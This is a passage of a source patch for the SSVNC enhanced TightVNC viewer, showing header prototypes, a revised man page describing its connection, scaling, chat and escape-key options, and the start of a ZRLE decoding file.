-+extern void DoServerQuality(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void DoServerCompress(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void SetScale(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void SetYCrop(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void SetScbar(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void ShowScaleN(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void ShowTurboVNC(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void ShowQuality(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void ShowCompress(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void SetScaleN(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void SetTurboVNC(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void SetQuality(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void SetCompress(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void ToggleTextChat(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void ToggleFileXfer(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void ToggleTermTextChat(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+
-+extern void scale_check_zrle(void);
-+
-+extern void SetViewOnlyState(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void SetNOJPEGState(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void SetScaleNState(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void SetQualityState(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void SetCompressState(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void Set8bppState(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void Set16bppState(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void SetFullColorState(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void Set256ColorsState(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void Set64ColorsState(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void Set8ColorsState(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void SetGreyScaleState(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void SetZRLEState(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void SetHextileState(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void SetZYWRLEState(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void SetCursorShapeState(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void SetCursorAlphaState(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void SetX11CursorState(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void SetBellState(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void SetRawLocalState(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void SetServerInputState(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void SetPipelineUpdates(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void SetSendClipboard(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void SetSendAlways(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void SetSingleWindowState(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void SetTextChatState(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void SetTermTextChatState(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void SetFileXferState(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void SetXGrabState(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void SetEscapeKeysState(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-diff -Naur -X ./exclude vnc_unixsrc.orig/vncviewer/vncviewer.man vnc_unixsrc/vncviewer/vncviewer.man
---- vnc_unixsrc.orig/vncviewer/vncviewer.man 2004-03-11 13:14:40.000000000 -0500
-+++ vnc_unixsrc/vncviewer/vncviewer.man 2010-04-11 23:30:24.000000000 -0400
-@@ -5,38 +5,55 @@
- .\" Copyright (C) 1998 Marcus.Brinkmann@ruhr-uni-bochum.de
- .\" Copyright (C) 2000,2001 Red Hat, Inc.
- .\" Copyright (C) 2001-2003 Constantin Kaplinsky <const@ce.cctpu.edu.ru>
-+.\" Copyright (C) 2006-2010 Karl J. Runge <runge@karlrunge.com>
- .\"
- .\" You may distribute under the terms of the GNU General Public
- .\" License as specified in the file LICENCE.TXT that comes with the
- .\" TightVNC distribution.
- .\"
--.TH vncviewer 1 "January 2003" "" "TightVNC"
-+.TH ssvncviewer 1 "April 2010" "" "SSVNC"
- .SH NAME
--vncviewer \- an X viewer client for VNC
-+ssvncviewer \- an X viewer client for VNC
- .SH SYNOPSIS
--.B vncviewer
-+.B ssvncviewer
- .RI [\| options \|]
- .RI [\| host \|][\| :display \|]
- .br
--.B vncviewer
-+.B ssvncviewer
- .RI [\| options \|]
- .RI [\| host \|][\| ::port \|]
- .br
--.B vncviewer
-+.B ssvncviewer
-+.RI [\| options \|]
-+.RI exec=[\| cmd+args... \|]
-+.br
-+.B ssvncviewer
-+.RI [\| options \|]
-+.RI fd=n
-+.br
-+.B ssvncviewer
-+.RI [\| options \|]
-+.RI /path/to/unix/socket
-+.br
-+.B ssvncviewer
- .RI [\| options \|]
- .IR \-listen
- .RI [\| display \|]
- .br
--.B vncviewer
-+.B ssvncviewer
- .IR \-help
- .br
- .SH DESCRIPTION
--.B vncviewer
-+.B ssvncviewer
- is an Xt\-based client application for the VNC (Virtual Network
- Computing) system. It can connect to any VNC\-compatible server such
--as \fBXvnc\fR or WinVNC, allowing you to control desktop environment
-+as \fBXvnc\fR, WinVNC, or \fBx11vnc\fR, allowing you to control desktop environment
- of a different machine.
-
-+ssvncviewer is an enhanced version of the tightvnc unix viewer that can
-+take advantage of features in the \fBx11vnc\fR and UltraVNC VNC servers.
-+See below for the description of these features.
-+
- You can use F8 to display a pop\-up utility menu. Press F8 twice to
- pass single F8 to the remote side.
- .SH OPTIONS
-@@ -102,13 +119,13 @@
- TightVNC supports several different compression methods to encode
- screen updates; this option specifies a set of them to use in order of
- preference. Encodings are specified separated with spaces, and must
--thus be enclosed in quotes if more than one is specified. Available
--encodings, in default order for a remote connection, are "copyrect
--tight hextile zlib corre rre raw". For a local connection (to the same
--machine), the default order to try is "raw copyrect tight hextile zlib
--corre rre". Raw encoding is always assumed as a last option if no
--other encoding can be used for some reason. For more information on
--encodings, see the section ENCODINGS below.
-+thus be enclosed in quotes if more than one is specified. Commas may be used to avoid spaces.
-+Available encodings, in default order for a remote connection, are
-+"copyrect tight hextile zlib corre rre raw". For a local connection
-+(to the same machine), the default order to try is "raw copyrect tight
-+hextile zlib corre rre". Raw encoding is always assumed as a last option
-+if no other encoding can be used for some reason. For more information
-+on encodings, see the section ENCODINGS below.
- .TP
- \fB\-bgr233\fR
- Always use the BGR233 format to encode pixel data. This reduces
-@@ -168,6 +185,424 @@
- \fB\-autopass\fR
- Read a plain-text password from stdin. This option affects only the
- standard VNC authentication.
-+
-+.SH Enhanced TightVNC Viewer (SSVNC) OPTIONS
-+.TP
-+Enhanced TightVNC Viewer (SSVNC) web page is located at:
-+.TP
-+http://www.karlrunge.com/x11vnc/ssvnc.html
-+.TP
-+Note: ZRLE and ZYWRLE encodings are now supported.
-+.TP
-+Note: F9 is shortcut to Toggle FullScreen mode.
-+.TP
-+Note: In -listen mode set the env var. SSVNC_MULTIPLE_LISTEN=1
-+to allow more than one incoming VNC server at a time.
-+This is the same as -multilisten described below. Set
-+SSVNC_MULTIPLE_LISTEN=MAX:n to allow no more than "n"
-+simultaneous reverse connections.
-+
-+If the host:port is specified as "exec=command args..."
-+then instead of making a TCP/IP socket connection to the
-+remote VNC server, "command args..." is executed and the
-+viewer is attached to its stdio. This enables tunnelling
-+established via an external command, e.g. an stunnel(8)
-+that does not involve a listening socket.
-+This mode does not work for -listen reverse connections.
-+
-+If the host:port is specified as "fd=n" then it is assumed
-+n is an already opened file descriptor to the socket. (i.e
-+the parent did fork+exec)
-+
-+If the host:port contains a '/' it is interpreted as a
-+unix-domain socket (AF_LOCAL insead of AF_INET)
-+.TP
-+\fB\-multilisten\fR
-+As in -listen (reverse connection listening) except
-+allow more than one incoming VNC server to be connected
-+at a time. The default for -listen of only one at a
-+time tries to play it safe by not allowing anyone on
-+the network to put (many) desktops on your screen over
-+a long window of time. Use -multilisten for no limit.
-+.TP
-+\fB\-acceptpopup\fR
-+In \fB\-listen\fR (reverse connection listening) mode when
-+a reverse VNC connection comes in show a popup asking
-+whether to Accept or Reject the connection. The IP
-+address of the connecting host is shown. Same as
-+setting the env. var. SSVNC_ACCEPT_POPUP=1.
-+.TP
-+\fB\-acceptpopupsc\fR
-+As in \fB\-acceptpopup\fR except assume UltraVNC Single
-+Click (SC) server. Retrieve User and ComputerName
-+info from UltraVNC Server and display in the Popup.
-+.TP
-+\fB\-use64\fR
-+In \fB\-bgr233\fR mode, use 64 colors instead of 256.
-+.TP
-+\fB\-bgr222\fR
-+Same as \fB\-use64\fR.
-+.TP
-+\fB\-use8\fR
-+In \fB\-bgr233\fR mode, use 8 colors instead of 256.
-+.TP
-+\fB\-bgr111\fR
-+Same as \fB\-use8\fR.
-+.TP
-+\fB\-16bpp\fR
-+If the vnc viewer X display is depth 24 at 32bpp
-+request a 16bpp format from the VNC server to cut
-+network traffic by up to 2X, then tranlate the
-+pixels to 32bpp locally.
-+.TP
-+\fB\-bgr565\fR
-+Same as \fB\-16bpp\fR.
-+.TP
-+\fB\-grey\fR
-+Use a grey scale for the 16- and 8\fB\-bpp\fR modes.
-+.TP
-+\fB\-alpha\fR
-+Use alphablending transparency for local cursors
-+requires: x11vnc server, both client and server
-+must be 32bpp and same endianness.
-+.TP
-+\fB\-scale\fR \fIstr\fR
-+Scale the desktop locally. The string "str" can
-+a floating point ratio, e.g. "0.9", or a fraction,
-+e.g. "3/4", or WxH, e.g. 1280x1024. Use "fit"
-+to fit in the current screen size. Use "auto" to
-+fit in the window size. "str" can also be set by
-+the env. var. SSVNC_SCALE.
-+
-+If you observe mouse trail painting errors, enable
-+X11 Cursor mode (either via Popup or \fB\-x11cursor\fR.)
-+
-+Note that scaling is done in software and so can be
-+slow and requires more memory. Some speedup Tips:
-+
-+ZRLE is faster than Tight in this mode. When
-+scaling is first detected, the encoding will
-+be automatically switched to ZRLE. Use the
-+Popup menu if you want to go back to Tight.
-+Set SSVNC_PRESERVE_ENCODING=1 to disable this.
-+
-+Use a solid background on the remote side.
-+(e.g. manually or via x11vnc \fB\-solid\fR ...)
-+
-+If the remote server is x11vnc, try client
-+side caching: x11vnc \fB\-ncache\fR 10 ...
-+.TP
-+\fB\-ycrop\fR n
-+Only show the top n rows of the framebuffer. For
-+use with x11vnc \fB\-ncache\fR client caching option
-+to help "hide" the pixel cache region.
-+Use a negative value (e.g. \fB\-1\fR) for autodetection.
-+Autodetection will always take place if the remote
-+fb height is more than 2 times the width.
-+.TP
-+\fB\-sbwidth\fR n
-+Scrollbar width for x11vnc \fB\-ncache\fR mode (\fB\-ycrop\fR),
-+default is very narrow: 2 pixels, it is narrow to
-+avoid distraction in \fB\-ycrop\fR mode.
-+.TP
-+\fB\-nobell\fR
-+Disable bell.
-+.TP
-+\fB\-rawlocal\fR
-+Prefer raw encoding for localhost, default is
-+no, i.e. assumes you have a SSH tunnel instead.
-+.TP
-+\fB\-notty\fR
-+Try to avoid using the terminal for interactive
-+responses: use windows for messages and prompting
-+instead. Messages will also be printed to terminal.
-+.TP
-+\fB\-sendclipboard\fR
-+Send the X CLIPBOARD selection (i.e. Ctrl+C,
-+Ctrl+V) instead of the X PRIMARY selection (mouse
-+select and middle button paste.)
-+.TP
-+\fB\-sendalways\fR
-+Whenever the mouse enters the VNC viewer main
-+window, send the selection to the VNC server even if
-+it has not changed. This is like the Xt resource
-+translation SelectionToVNC(always)
-+.TP
-+\fB\-recvtext\fR
-+str When cut text is received from the VNC server,
-+ssvncviewer will set both the X PRIMARY and the
-+X CLIPBOARD local selections. To control which
-+is set, specify 'str' as 'primary', 'clipboard',
-+or 'both' (the default.)
-+.TP
-+\fB\-graball\fR
-+Grab the entire X server when in fullscreen mode,
-+needed by some old window managers like fvwm2.
-+.TP
-+\fB\-popupfix\fR
-+Warp the popup back to the pointer position,
-+needed by some old window managers like fvwm2.
-+.TP
-+\fB\-grabkbd\fR
-+Grab the X keyboard when in fullscreen mode,
-+needed by some window managers. Same as \fB\-grabkeyboard\fR.
-+\fB\-grabkbd\fR is the default, use \fB\-nograbkbd\fR to disable.
-+.TP
-+\fB\-bs\fR, \fB\-nobs\fR
-+Whether or not to use X server Backingstore for the
-+main viewer window. The default is to not, mainly
-+because most Linux, etc, systems X servers disable
-+*all* Backingstore by default. To re\fB\-enable\fR it put
-+
-+Option "Backingstore"
-+
-+in the Device section of /etc/X11/xorg.conf.
-+In \fB\-bs\fR mode with no X server backingstore, whenever an
-+area of the screen is re\fB\-exposed\fR it must go out to the
-+VNC server to retrieve the pixels. This is too slow.
-+
-+In \fB\-nobs\fR mode, memory is allocated by the viewer to
-+provide its own backing of the main viewer window. This
-+actually makes some activities faster (changes in large
-+regions) but can appear to "flash" too much.
-+.TP
-+\fB\-noshm\fR
-+Disable use of MIT shared memory extension (not recommended)
-+.TP
-+\fB\-termchat\fR
-+Do the UltraVNC chat in the terminal vncviewer is in
-+instead of in an independent window.
-+.TP
-+\fB\-unixpw\fR \fIstr\fR
-+Useful for logging into x11vnc in \fB\-unixpw\fR mode. "str" is a
-+string that allows many ways to enter the Unix Username
-+and Unix Password. These characters: username, newline,
-+password, newline are sent to the VNC server after any VNC
-+authentication has taken place. Under x11vnc they are
-+used for the \fB\-unixpw\fR login. Other VNC servers could do
-+something similar.
-+
-+You can also indicate "str" via the environment
-+variable SSVNC_UNIXPW.
-+
-+Note that the Escape key is actually sent first to tell
-+x11vnc to not echo the Unix Username back to the VNC
-+viewer. Set SSVNC_UNIXPW_NOESC=1 to override this.
-+
-+If str is ".", then you are prompted at the command line
-+for the username and password in the normal way. If str is
-+"-" the stdin is read via getpass(3) for username@password.
-+Otherwise if str is a file, it is opened and the first line
-+read is taken as the Unix username and the 2nd as the
-+password. If str prefixed by "rm:" the file is removed
-+after reading. Otherwise, if str has a "@" character,
-+it is taken as username@password. Otherwise, the program
-+exits with an error. Got all that?
-+.TP
-+\fB-repeater\fR \fIstr\fR
-+This is for use with UltraVNC repeater proxy described
-+here: http://www.uvnc.com/addons/repeater.html. The "str"
-+is the ID string to be sent to the repeater. E.g. ID:1234
-+It can also be the hostname and port or display of the VNC
-+server, e.g. 12.34.56.78:0 or snoopy.com:1. Note that when
-+using -repeater, the host:dpy on the cmdline is the repeater
-+server, NOT the VNC server. The repeater will connect you.
-+
-+Example: vncviewer ... -repeater ID:3333 repeat.host:5900
-+
-+Example: vncviewer ... -repeater vhost:0 repeat.host:5900
-+
-+Use, e.g., '-repeater SCIII=ID:3210' if the repeater is a
-+Single Click III (SSL) repeater (repeater_SSL.exe) and you
-+are passing the SSL part of the connection through stunnel, socat, etc.
-+This way the magic UltraVNC string 'testB' needed to work with the
-+repeater is sent to it.
-+.TP
-+\fB-rfbversion\fR \fIstr\fR
-+Set the advertised RFB version. E.g.: -rfbversion 3.6 For some
-+servers, e.g. UltraVNC this needs to be done.
-+.TP
-+\fB-ultradsm\fR
-+UltraVNC has symmetric private encryption DSM plugins. See
-+http://www.uvnc.com/features/encryption.html. It is assumed
-+you are using a unix program (e.g. our ultravnc_dsm_helper) to
-+encrypt and decrypt the UltraVNC DSM stream. IN ADDITION TO
-+THAT supply -ultradsm to tell THIS viewer to modify the RFB
-+data sent so as to work with the UltraVNC Server. For some
-+reason, each RFB msg type must be sent twice under DSM.
-+.TP
-+\fB\-mslogon\fR \fIuser\fR
-+Use Windows MS Logon to an UltraVNC server. Supply the
-+username or "1" to be prompted. The default is to
-+autodetect the UltraVNC MS Logon server and prompt for
-+the username and password.
-+
-+IMPORTANT NOTE: The UltraVNC MS-Logon Diffie-Hellman
-+exchange is very weak and can be brute forced to recover
-+your username and password in a few seconds of CPU
-+time. To be safe, be sure to use an additional encrypted
-+tunnel (e.g. SSL or SSH) for the entire VNC session.
-+.TP
-+\fB\-chatonly\fR
-+Try to be a client that only does UltraVNC text chat. This
-+mode is used by x11vnc to present a chat window on the physical
-+X11 console (i.e. to chat with the person at the display).
-+.TP
-+\fB-env\fR \fIVAR=VALUE\fR
-+To save writing a shell script to set environment
-+variables, specify as many as you need on the command line. For example,
-+-env SSVNC_MULTIPLE_LISTEN=MAX:5 -env EDITOR=vi
-+.TP
-+\fB\-noipv6\fR
-+Disable all IPv6 sockets. Same as VNCVIEWER_NO_IPV6=1.
-+.TP
-+\fB\-noipv4\fR
-+Disable all IPv4 sockets. Same as VNCVIEWER_NO_IPV4=1.
-+.TP
-+\fB\-printres\fR
-+Print out the Ssvnc X resources (appdefaults) and
-+then exit. You can save them to a file and customize them (e.g. the
-+keybindings and Popup menu) Then point to the file via
-+XENVIRONMENT or XAPPLRESDIR.
-+.TP
-+\fB\-pipeline\fR
-+Like TurboVNC, request the next framebuffer update as soon
-+as possible instead of waiting until the end of the current
-+framebuffer update coming in. Helps 'pipeline' the updates.
-+This is currently the default, use \fB-nopipeline\fR to disable.
-+.TP
-+\fB\-appshare\fR
-+Enable features for use with x11vnc's \fB\-appshare\fR mode where
-+instead of sharing the full desktop only the application's
-+windows are shared. Viewer multilisten mode is used to
-+create the multiple windows: \fB\-multilisten\fR is implied.
-+See 'x11vnc \fB\-appshare\fR \fB\-help\fR' more information on the mode.
-+Features enabled in the viewer under \fB\-appshare\fR are:
-+Minimum extra text in the title, auto \fB\-ycrop\fR is disabled,
-+x11vnc \fB\-remote_prefix\fR X11VNC_APPSHARE_CMD: message channel,
-+x11vnc initial window position hints. See also Escape Keys
-+below for additional key and mouse bindings.
-+.TP
-+\fB\-escape \fR\fIstr\fR
-+This sets the 'Escape Keys' modifier sequence and enables
-+escape keys mode. When the modifier keys escape sequence
-+is held down, the next keystroke is interpreted locally
-+to perform a special action instead of being sent to the
-+remote VNC server.
-+
-+Use '\fB\-escape\fR default' for the default modifier sequence.
-+(Unix: Alt_L,Super_L and MacOSX: Control_L,Meta_L)
-+
-+Here are the 'Escape Keys: Help+Set' instructions from the Popup:
-+
-+Escape Keys: Enter a comma separated list of modifier keys to be the 'escape
-+sequence'. When these keys are held down, the next keystroke is
-+interpreted locally to invoke a special action instead of being sent to
-+the remote VNC server. In other words, a set of 'Hot Keys'.
-+
-+Here is the list of local key mappings to special actions:
-+
-+r: refresh desktop b: toggle bell c: toggle full-color
-+
-+f: file transfer x: x11cursor z: toggle Tight/ZRLE
-+
-+l: full screen g: graball e: escape keys dialog
-+
-+s: scale dialog +: scale up (=) -: scale down (_)
-+
-+t: text chat a: alphablend cursor
-+
-+V: toggle viewonly Q: quit viewer 123456: UltraVNC scale 1/n
-+
-+Arrow keys: pan the viewport about 10% for each keypress.
-+
-+PageUp/PageDown: pan the viewport by a screenful vertically.
-+
-+Home/End: pan the viewport by a screenful horizontally.
-+
-+KeyPad Arrows: pan the viewport by 1 pixel for each keypress.
-+
-+Dragging the Mouse with Button1 pressed also pans the viewport.
-+
-+Clicking Mouse Button3 brings up the Popup Menu.
-+
-+The above mappings are \fBalways\fR active in ViewOnly mode, unless you set
-+the Escape Keys value to 'never'.
-+
-+x11vnc -appshare hot-keys: x11vnc has a simple application sharing mode
-+that enables the viewer-side to move, resize, or raise the remote toplevel
-+windows. To enable it, hold down Shift + the Escape Keys and press these:
-+
-+Arrow keys: move the remote window around in its desktop.
-+
-+PageUp/PageDn/Home/End: resize the remote window.
-+
-++/-: raise or lower the remote window.
-+
-+M or Button1 move win to local position; D or Button3: delete remote win.
-+
-+If the Escape Keys value below is set to 'default' then a default list of
-+of modifier keys is used. For Unix it is: Alt_L,Super_L and for MacOSX it
-+is Control_L,Meta_L. Note: the Super_L key usually has a Windows(TM) Flag
-+on it. Also note the _L and _R mean the key is on the LEFT or RIGHT side
-+of the keyboard.
-+
-+On Unix the default is Alt and Windows keys on Left side of keyboard.
-+On MacOSX the default is Control and Command keys on Left side of keyboard.
-+
-+Example: Press and hold the Alt and Windows keys on the LEFT side of the
-+keyboard and then press 'c' to toggle the full-color state. Or press 't'
-+to toggle the ultravnc Text Chat window, etc.
-+
-+To use something besides the default, supply a comma separated list (or a
-+single one) from: Shift_L Shift_R Control_L Control_R Alt_L Alt_R Meta_L
-+Meta_R Super_L Super_R Hyper_L Hyper_R or Mode_switch.
-+.TP
-+\fB New Popup actions:\fR
-+
-+ ViewOnly: ~ -viewonly
-+ Disable Bell: ~ -nobell
-+ Cursor Shape: ~ -nocursorshape
-+ X11 Cursor: ~ -x11cursor
-+ Cursor Alphablend: ~ -alpha
-+ Toggle Tight/Hextile: ~ -encodings hextile...
-+ Toggle Tight/ZRLE: ~ -encodings zrle...
-+ Toggle ZRLE/ZYWRLE: ~ -encodings zywrle...
-+ Quality Level ~ -quality (both Tight and ZYWRLE)
-+ Compress Level ~ -compresslevel
-+ Disable JPEG: ~ -nojpeg (Tight)
-+ Pipeline Updates ~ -pipeline
-+
-+ Full Color as many colors as local screen allows.
-+ Grey scale (16 & 8-bpp) ~ -grey, for low colors 16/8bpp modes only.
-+ 16 bit color (BGR565) ~ -16bpp / -bgr565
-+ 8 bit color (BGR233) ~ -bgr233
-+ 256 colors ~ -bgr233 default # of colors.
-+ 64 colors ~ -bgr222 / -use64
-+ 8 colors ~ -bgr111 / -use8
-+ Scale Viewer ~ -scale
-+ Escape Keys: Toggle ~ -escape
-+ Escape Keys: Help+Set ~ -escape
-+ Set Y Crop (y-max) ~ -ycrop
-+ Set Scrollbar Width ~ -sbwidth
-+ XGrabServer ~ -graball
-+
-+ UltraVNC Extensions:
-+
-+ Set 1/n Server Scale Ultravnc ext. Scale desktop by 1/n.
-+ Text Chat Ultravnc ext. Do Text Chat.
-+ File Transfer Ultravnc ext. File xfer via Java helper.
-+ Single Window Ultravnc ext. Grab and view a single window.
-+ (select then click on the window you want).
-+ Disable Remote Input Ultravnc ext. Try to prevent input and
-+ viewing of monitor at physical display.
-+
-+ Note: the Ultravnc extensions only apply to servers that support
-+ them. x11vnc/libvncserver supports some of them.
-+
-+ Send Clipboard not Primary ~ -sendclipboard
-+ Send Selection Every time ~ -sendalways
-+
- .SH ENCODINGS
- The server supplies information in whatever format is desired by the
- client, in order to make the client as easy as possible to implement.
-@@ -238,6 +673,15 @@
- \-quality and \-nojpeg options above). Tight encoding is usually the
- best choice for low\-bandwidth network environments (e.g. slow modem
- connections).
-+.TP
-+.B ZRLE
-+The SSVNC viewer has ported the RealVNC (www.realvnc.com) ZRLE encoding
-+to the unix tightvnc viewer.
-+.TP
-+.B ZYWRLE
-+The SSVNC viewer has ported the Hitachi lossy wavelet based ZRLE
-+encoding from http://mobile.hitachi-system.co.jp/publications/ZYWRLE/
-+to the unix tightvnc viewer.
- .SH RESOURCES
- X resources that \fBvncviewer\fR knows about, aside from the
- normal Xt resources, are as follows:
-@@ -364,12 +808,13 @@
- .B %R
- remote TCP port number.
- .SH SEE ALSO
--\fBvncserver\fR(1), \fBXvnc\fR(1), \fBvncpasswd\fR(1),
--\fBvncconnect\fR(1), \fBssh\fR(1)
-+\fBvncserver\fR(1), \fBx11vnc\fR(1), \fBssvnc\fR(1), \fBXvnc\fR(1), \fBvncpasswd\fR(1),
-+\fBvncconnect\fR(1), \fBssh\fR(1), http://www.karlrunge.com/x11vnc, http://www.karlrunge.com/x11vnc/ssvnc.html
- .SH AUTHORS
- Original VNC was developed in AT&T Laboratories Cambridge. TightVNC
- additions was implemented by Constantin Kaplinsky. Many other people
--participated in development, testing and support.
-+participated in development, testing and support. Karl J. Runge
-+added all of the SSVNC related features and improvements.
-
- \fBMan page authors:\fR
- .br
-@@ -380,3 +825,5 @@
- Tim Waugh <twaugh@redhat.com>,
- .br
- Constantin Kaplinsky <const@ce.cctpu.edu.ru>
-+.br
-+Karl J. Runge <runge@karlrunge.com>
-diff -Naur -X ./exclude vnc_unixsrc.orig/vncviewer/zrle.c vnc_unixsrc/vncviewer/zrle.c
---- vnc_unixsrc.orig/vncviewer/zrle.c 2007-02-04 18:59:50.000000000 -0500
-+++ vnc_unixsrc/vncviewer/zrle.c 2010-02-25 23:24:28.000000000 -0500
-@@ -0,0 +1,620 @@
-+/*
-+ * Copyright (C) 2005 Johannes E. Schindelin. All Rights Reserved.
-+ *
-+ * This is free software; you can redistribute it and/or modify
-+ * it under the terms of the GNU General Public License as published by
-+ * the Free Software Foundation; either version 2 of the License, or
-+ * (at your option) any later version.
-+ *
-+ * This software is distributed in the hope that it will be useful,
-+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-+ * GNU General Public License for more details.
-+ *
-+ * You should have received a copy of the GNU General Public License
-+ * along with this software; if not, write to the Free Software
-+ * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ * USA.
-+ */
-+
-+/*
-+ * zrle.c - handle zrle encoding.
-+ *
-+ * This file shouldn't be compiled directly. It is included multiple times by
-+ * rfbproto.c, each time with a different definition of the macro BPP. For
-+ * each value of BPP, this file defines a function which handles an zrle
-+ * encoded rectangle with BPP bits per pixel.
-+ */
-+
-+#ifndef REALBPP
-+#define REALBPP BPP
-+#endif
-+
-+#if !defined(UNCOMP) || UNCOMP==0
-+#define HandleZRLE CONCAT2E(HandleZRLE,REALBPP)
-+#define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP)
-+#elif UNCOMP>0
-+#define HandleZRLE CONCAT3E(HandleZRLE,REALBPP,Down)
-+#define HandleZRLETile CONCAT3E(HandleZRLETile,REALBPP,Down)
-+#else
-+#define HandleZRLE CONCAT3E(HandleZRLE,REALBPP,Up)
-+#define HandleZRLETile CONCAT3E(HandleZRLETile,REALBPP,Up)
-+#endif
-+#undef CARDBPP
-+#undef CARDREALBPP
-+#define CARDBPP CONCAT2E(CARD, BPP)
-+#define CARDREALBPP CONCAT2E(CARD,REALBPP)
-+
-+#define FillRectangle(x, y, w, h, color) \
-+ { \
-+ XGCValues _gcv; \
-+ _gcv.foreground = color; \
-+ if (!appData.useXserverBackingStore) { \
-+ FillScreen(x, y, w, h, _gcv.foreground); \
-+ } else { \
-+ XChangeGC(dpy, gc, GCForeground, &_gcv); \
-+ XFillRectangle(dpy, desktopWin, gc, x, y, w, h); \
-+ } \
-+ }
-+
-+#if defined(__sparc) || defined(__sparc__) || defined(__ppc__) || defined(__POWERPC__) || defined(__BIG_ENDIAN__) || defined(_BIG_ENDIAN)
-+#define IS_BIG_ENDIAN 1
-+#else
-+#define IS_BIG_ENDIAN 0
-+#endif
-+
-+#if DO_ZYWRLE
-+
-+#define ENDIAN_LITTLE 0
-+#define ENDIAN_BIG 1
-+#define ENDIAN_NO 2
-+#if IS_BIG_ENDIAN
-+#define ZYWRLE_ENDIAN ENDIAN_BIG
-+#else
-+#define ZYWRLE_ENDIAN ENDIAN_LITTLE
-+#endif
-+#undef END_FIX
-+#if ZYWRLE_ENDIAN == ENDIAN_LITTLE
-+# define END_FIX LE
-+#elif ZYWRLE_ENDIAN == ENDIAN_BIG
-+# define END_FIX BE
-+#else
-+# define END_FIX NE
-+#endif
-+#define __RFB_CONCAT3E(a,b,c) CONCAT3E(a,b,c)
-+#define __RFB_CONCAT2E(a,b) CONCAT2E(a,b)
-+#undef CPIXEL
-+#if REALBPP != BPP
-+#if UNCOMP == 0
-+#define CPIXEL REALBPP
-+#elif UNCOMP>0
-+#define CPIXEL CONCAT2E(REALBPP,Down)
-+#else
-+#define CPIXEL CONCAT2E(REALBPP,Up)
-+#endif
-+#endif
-+#define PIXEL_T CARDBPP
-+#if BPP!=8
-+#define ZYWRLE_DECODE 1
-+#include "zywrletemplate.c"
-+#endif
-+#undef CPIXEL
-+
-+#endif /* DO_ZYWRLE */
-+
-+static int HandleZRLETile(
-+ unsigned char* buffer,size_t buffer_length,
-+ int x,int y,int w,int h);
-+
-+static Bool
-+HandleZRLE (int rx, int ry, int rw, int rh)
-+{
-+ rfbZRLEHeader header;
-+ int remaining;
-+ int inflateResult;
-+ int toRead;
-+ int min_buffer_size = rw * rh * (REALBPP / 8) * 2;
-+
-+ /* First make sure we have a large enough raw buffer to hold the
-+ * decompressed data. In practice, with a fixed REALBPP, fixed frame
-+ * buffer size and the first update containing the entire frame
-+ * buffer, this buffer allocation should only happen once, on the
-+ * first update.
-+ */
-+ if ( raw_buffer_size < min_buffer_size) {
-+
-+ if ( raw_buffer != NULL ) {
-+
-+ free( raw_buffer );
-+
-+ }
-+
-+ raw_buffer_size = min_buffer_size;
-+ raw_buffer = (char*) malloc( raw_buffer_size );
-+
-+ }
-+
-+ if (!ReadFromRFBServer((char *)&header, sz_rfbZRLEHeader))
-+ return False;
-+
-+ remaining = Swap32IfLE(header.length);
-+
-+ /* Need to initialize the decompressor state. */
-+ decompStream.next_in = ( Bytef * )buffer;
-+ decompStream.avail_in = 0;
-+ decompStream.next_out = ( Bytef * )raw_buffer;
-+ decompStream.avail_out = raw_buffer_size;
-+ decompStream.data_type = Z_BINARY;
-+
-+ /* Initialize the decompression stream structures on the first invocation. */
-+ if ( decompStreamInited == False ) {
-+
-+ inflateResult = inflateInit( &decompStream );
-+
-+ if ( inflateResult != Z_OK ) {
-+ fprintf(stderr,
-+ "inflateInit returned error: %d, msg: %s\n",
-+ inflateResult,
-+ decompStream.msg);
-+ return False;
-+ }
